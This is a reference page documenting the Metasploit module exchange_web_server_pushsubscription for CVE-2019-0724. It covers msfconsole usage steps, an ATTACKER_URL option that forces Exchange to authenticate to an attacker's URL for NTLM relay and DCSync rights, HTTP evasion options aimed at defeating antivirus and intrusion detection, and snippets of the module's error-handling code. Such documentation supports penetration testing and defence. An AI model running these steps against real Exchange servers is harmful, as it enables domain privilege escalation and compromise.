Microsoft Exchange Privilege Escalation Exploit - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/exchange_web_server_pushsubscription metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft Exchange Privilege Escalation Exploit
Module: auxiliary/scanner/http/exchange_web_server_pushsubscription
Source code: modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Disclosure date: 2019-01-21
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-0724
This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0724 Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. The module is based on the work by @_dirkjan,
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/scanner/http/exchange_web_server_pushsubscription
msf auxiliary(exchange_web_server_pushsubscription) > show targets
... a list of targets ...
msf auxiliary(exchange_web_server_pushsubscription) > set TARGET target-id
msf auxiliary(exchange_web_server_pushsubscription) > show options
... show and set options ...
msf auxiliary(exchange_web_server_pushsubscription) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
DOMAIN: The Active Directory domain name
USERNAME: Username of any domain user with a mailbox on Exchange
PASSWORD: Password or password hash (in LM:NT format) of the user
ATTACKER_URL: Attacker URL
Knowledge Base
Vulnerable Application
- Microsoft Exchange 2013 and 2016
- Tested on Exchange 2016
- Usage:
- Download and install Exchange Server within a Windows domain
- Setup a mailbox with a domain user
- Run the module
- Relay the NTLM authentication to the DC
Verification Steps
Example steps:
- Start msfconsole
- Do:
use auxiliary/scanner/http/exchange_web_server_pushsubscription
- Do:
set attacker_url <url>
- Do:
set rport <target_port>
- Do:
set rhost <target_IP>
- Do:
set domain <domain_name>
- Do:
set password <user_pass>
- Do:
set username <user_pass>
- Do:
run
Options
The ATTACKER_URL option
This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate.
The PASSWORD option This can be either the password or the NTLM hash of any domain user with a mailbox configured on Exchange.
Scenarios
This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control. An example scenario is that when this module is combined with an NTLM relay attack, if the Exchange server has the necessary permissions it is possible to grant us DCSync rights.
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/exchange_web_server_pushsubscription auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/exchange_web_server_pushsubscription
msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show info
Name: Microsoft Exchange Privilege Escalation Exploit
Module: auxiliary/scanner/http/exchange_web_server_pushsubscription
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-01-21
Provided by:
_dirkjan
Petros Koutroumpis
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ATTACKER_URL yes Attacker URL
DOMAIN yes The Active Directory domain name
EXCHANGE_VERSION 2016 yes Version of Exchange (2013|2016)
PASSWORD yes Password or password hash (in LM:NT format) of the user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /EWS/Exchange.asmx yes Exchange Web Services API endpoint
USERNAME yes Username of any domain user with a mailbox on Exchange
VHOST no HTTP server virtual host
Description:
This module exploits a privilege escalation vulnerability found in
Microsoft Exchange - CVE-2019-0724 Execution of the module will
force Exchange to authenticate to an arbitrary URL over HTTP via the
Exchange PushSubscription feature. This allows us to relay the NTLM
authentication to a Domain Controller and authenticate with the
privileges that Exchange is configured. The module is based on the
work by @_dirkjan,
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-0724
https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
Module Options
This is a complete list of options available in the scanner/http/exchange_web_server_pushsubscription auxiliary module:
msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show options
Module options (auxiliary/scanner/http/exchange_web_server_pushsubscription):
Name Current Setting Required Description
---- --------------- -------- -----------
ATTACKER_URL yes Attacker URL
DOMAIN yes The Active Directory domain name
EXCHANGE_VERSION 2016 yes Version of Exchange (2013|2016)
PASSWORD yes Password or password hash (in LM:NT format) of the user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /EWS/Exchange.asmx yes Exchange Web Services API endpoint
USERNAME yes Username of any domain user with a mailbox on Exchange
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/exchange_web_server_pushsubscription auxiliary module:
msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show advanced
Module advanced options (auxiliary/scanner/http/exchange_web_server_pushsubscription):
Name Current Setting Required Description
---- --------------- -------- -----------
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/exchange_web_server_pushsubscription module can do:
msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/exchange_web_server_pushsubscription auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection failed
- SSL negotiation failed
- Connection failed
- Server returned HTTP status 401 - Authentication failed
- Empty reply from server
- ErrorInvalidServerVersion
- Server does not accept this Exchange dialect. Specify a different Exchange version
- Server returned HTTP <RES.CODE>: <XML.TEXT>
- ErrorMissingEmailAddress
- The user does not have a mailbox associated. Try a different user.
- NoError
- Unknown error. Response: <XML.TEXT>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
104: begin
105: res = http.send_recv(req)
106: xml = res.get_xml_document
107: http.close
108: rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable
109: print_error("Connection failed")
110: rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError
111: print_error "SSL negotiation failed"
112: end
113:
114: if res.nil?
SSL negotiation failed
Here is a relevant code snippet related to the "SSL negotiation failed" error message:
106: xml = res.get_xml_document
107: http.close
108: rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable
109: print_error("Connection failed")
110: rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError
111: print_error "SSL negotiation failed"
112: end
113:
114: if res.nil?
115: fail_with(Failure::Unreachable, 'Connection failed')
116: end
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
110: rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError
111: print_error "SSL negotiation failed"
112: end
113:
114: if res.nil?
115: fail_with(Failure::Unreachable, 'Connection failed')
116: end
117:
118: if res.code == 401
119: fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
120: end
Server returned HTTP status 401 - Authentication failed
Here is a relevant code snippet related to the "Server returned HTTP status 401 - Authentication failed" error message:
114: if res.nil?
115: fail_with(Failure::Unreachable, 'Connection failed')
116: end
117:
118: if res.code == 401
119: fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
120: end
121:
122: if xml.nil?
123: fail_with(Failure::UnexpectedReply, "Empty reply from server")
124: end
Empty reply from server
Here is a relevant code snippet related to the "Empty reply from server" error message:
118: if res.code == 401
119: fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
120: end
121:
122: if xml.nil?
123: fail_with(Failure::UnexpectedReply, "Empty reply from server")
124: end
125:
126: if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127: fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128: end
ErrorInvalidServerVersion
Here is a relevant code snippet related to the "ErrorInvalidServerVersion" error message:
121:
122: if xml.nil?
123: fail_with(Failure::UnexpectedReply, "Empty reply from server")
124: end
125:
126: if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127: fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128: end
129:
130: unless res.code == 200
131: fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
Server does not accept this Exchange dialect. Specify a different Exchange version
Here is a relevant code snippet related to the "Server does not accept this Exchange dialect. Specify a different Exchange version" error message:
122: if xml.nil?
123: fail_with(Failure::UnexpectedReply, "Empty reply from server")
124: end
125:
126: if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127: fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128: end
129:
130: unless res.code == 200
131: fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
132: end
Server returned HTTP <RES.CODE>: <XML.TEXT>
Here is a relevant code snippet related to the "Server returned HTTP <RES.CODE>: <XML.TEXT>" error message:
126: if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127: fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128: end
129:
130: unless res.code == 200
131: fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
132: end
133:
134: print_good("Exchange returned HTTP status 200 - Authentication was successful")
135:
136: if xml.text.include? "ErrorMissingEmailAddress"
ErrorMissingEmailAddress
Here is a relevant code snippet related to the "ErrorMissingEmailAddress" error message:
131: fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
132: end
133:
134: print_good("Exchange returned HTTP status 200 - Authentication was successful")
135:
136: if xml.text.include? "ErrorMissingEmailAddress"
137: fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138: end
139:
140: unless xml.text.include? "NoError"
141: fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
The user does not have a mailbox associated. Try a different user.
Here is a relevant code snippet related to the "The user does not have a mailbox associated. Try a different user." error message:
132: end
133:
134: print_good("Exchange returned HTTP status 200 - Authentication was successful")
135:
136: if xml.text.include? "ErrorMissingEmailAddress"
137: fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138: end
139:
140: unless xml.text.include? "NoError"
141: fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
142: end
NoError
Here is a relevant code snippet related to the "NoError" error message:
135:
136: if xml.text.include? "ErrorMissingEmailAddress"
137: fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138: end
139:
140: unless xml.text.include? "NoError"
141: fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
142: end
143:
144: print_good("API call was successful")
145:
Unknown error. Response: <XML.TEXT>
Here is a relevant code snippet related to the "Unknown error. Response: <XML.TEXT>" error message:
136: if xml.text.include? "ErrorMissingEmailAddress"
137: fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138: end
139:
140: unless xml.text.include? "NoError"
141: fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
142: end
143:
144: print_good("API call was successful")
145:
146: end
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #11420 Merged Pull Request: Added Exchange Web Services PushSubscription CVE-2019-0724 auxiliary module
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/exchange_proxylogon
- auxiliary/scanner/msmail/exchange_enum
- auxiliary/gather/exchange_proxylogon_collector
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/http/exchange_ecp_dlp_policy
- exploit/windows/http/exchange_ecp_viewstate
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/dos/windows/ssh/sysax_sshd_kexchange
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_key_exchange
- post/windows/gather/exchange
Authors
- _dirkjan
- Petros Koutroumpis
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.